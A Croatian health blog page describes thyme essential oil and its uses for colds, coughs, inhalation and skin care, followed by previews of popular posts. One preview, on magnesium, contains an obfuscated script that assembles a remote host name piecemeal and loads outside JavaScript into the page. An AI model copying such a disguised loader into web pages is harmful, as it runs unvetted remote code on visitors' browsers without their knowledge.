TIMIJANOVO ULJE - DJELOVANJE, PRIMJENA I MOGUĆI UČINCI NA ZDRAVLJE





Timijanovo ulje - djelovanje, primjena i mogući učinci na zdravlje 




Zbog visoke koncentracije aktivnih tvari, timijanovo ulje u pravilu se ne koristi nerazrijeđeno. Najčešće se dodaje kremama, losionima i baznim uljima, a nalazi se i u pojedinim dodacima prehrani, pastilama protiv kašlja te pripravcima za inhalaciju.




Kako djeluje timijanovo ulje na organizam

Timijanovo ulje poznato je po spazmolitičkom, ekspektorirajućem i antiseptičkom djelovanju. To znači da može pomoći u opuštanju grčeva, poticanju izlučivanja sluzi iz dišnih putova te smanjenju prisutnosti bakterija i drugih mikroorganizama.

Jedna od najvažnijih aktivnih tvari je timol, spoj koji se povezuje s antibakterijskim i antiseptičkim svojstvima. Upravo zbog toga timijanovo ulje često se koristi kod simptoma prehlade i upalnih stanja gornjih dišnih putova.

Osim toga, u aromaterapiji mu se pripisuju i učinci na smanjenje napetosti, iako takva primjena ovisi o individualnoj reakciji organizma.




Timijanovo ulje kod prehlade, kašlja i bronhitisa

Timijanovo ulje najčešće se koristi kod prehlade, kašlja i bronhitisa. Aktivne tvari mogu pomoći u ublažavanju nadražaja na kašalj te olakšati iskašljavanje. Inhalacija timijanovog ulja može pridonijeti prohodnosti dišnih putova.

Kod grlobolje može se primijeniti razrijeđeno ulje za grgljanje. U čašu vode dodaje se nekoliko kapi ulja, a pripravak se koristi za ispiranje usne šupljine i ždrijela. Takva primjena može pomoći u smanjenju prisutnosti bakterija u usnoj šupljini.




Inhalacija timijanovog ulja

Timijanovo ulje može se koristiti za suhu ili parnu inhalaciju. Kod suhe inhalacije nekoliko kapi nanosi se na maramicu, nakon čega se udišu pare eteričnog ulja.

Kod parne inhalacije nekoliko kapi dodaje se u posudu s vrućom vodom, a para se udiše nekoliko minuta. Ova metoda često se primjenjuje kod začepljenog nosa i nadražajnog kašlja jer može pomoći u razrjeđivanju sluzi.



Primjena timijanovog ulja kod kožnih problema

Timijanovo ulje koristi se i kod određenih kožnih tegoba poput akni, iritacija ili crvenila. U tu svrhu primjenjuje se isključivo razrijeđeno, najčešće kao sastojak krema, losiona ili maski za lice.

Primjerice, može se dodati nekoliko kapi u med te nanijeti na zahvaćena područja kože. Važno je paziti na koncentraciju jer previsok udio eteričnog ulja može izazvati iritaciju.



Timijanovo ulje u proizvodima iz ljekarne i trgovine

Timijanovo ulje sastavni je dio brojnih proizvoda poput pastila protiv kašlja, sirupa, otopina za inhalaciju i preparata za njegu tijela. U tim je proizvodima koncentracija prilagođena sigurnoj primjeni.

Pri kupnji proizvoda s timijanovim uljem preporučuje se provjeriti sastav naveden na ambalaži te birati proizvode bez nepotrebnih dodataka. Važna je i kvaliteta sirovine te jasno označeno podrijetlo.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više